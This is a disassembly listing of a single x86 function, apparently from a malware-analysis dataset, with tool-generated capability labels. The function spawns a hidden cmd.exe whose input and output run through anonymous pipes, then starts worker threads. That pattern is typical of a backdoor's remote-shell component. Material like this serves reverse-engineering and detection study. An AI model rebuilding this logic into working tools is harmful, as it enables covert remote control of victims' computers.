Function at 0x10010d80
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Execute shell command and capture output
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001e929
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1ac
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
call fcn.1000bce0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 0x10021368
mov ecx, dword [ebp - 0x10]
add ecx, 0x10
call fcn.10011060
mov dword [ebp - 0x1c], 0
xor edx, edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x60], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x5c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x70], 0
xor eax, eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov byte [ebp - 0x174], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x173]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x60], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x64], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x68], 0
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x6c], 0
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 1
push 0
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x6c
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x60
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10010ea4
mov edx, dword [ebp - 0x10]
cmp dword [edx + 0x60], 0
je 0x10010e89
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x60]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x10]
cmp dword [edx + 0x6c], 0
je 0x10010e9f
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x6c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10011040
push 0
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x64
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x68
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10010ef3
mov edx, dword [ebp - 0x10]
cmp dword [edx + 0x64], 0
je 0x10010ed8
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x10]
cmp dword [edx + 0x68], 0
je 0x10010eee
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10011040
push 0x44
push 0
lea edx, [ebp - 0x60]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x70]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [ebp - 0x60], 0x44
mov word [ebp - 0x30], 0
mov dword [ebp - 0x34], 0x101
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x68]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x6c]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
push 0x104
lea ecx, [ebp - 0x174]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.cmd.exe
lea edx, [ebp - 0x174]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 0x20
push 1
push 0
push 0
push 0
lea edx, [ebp - 0x174]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10010fcc
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x60]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x6c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10011040
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x70]
mov dword [edx + 0x70], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x6c]
mov dword [ecx + 0x74], edx
mov byte [ebp - 0x178], 0x83
push 1
lea eax, [ebp - 0x178]
push eax
mov ecx, dword [ebp - 0x10]
call fcn.1000bdc0
mov ecx, dword [ebp - 0x10]
call fcn.1000be40
push 0
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
push 0x10011300
push 0
push 0
call fcn.10015b80
add esp, 0x1c
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x78], eax
push 0
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
push 0x100113f0
push 0
push 0
call fcn.10015b80
add esp, 0x1c
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x7c], eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4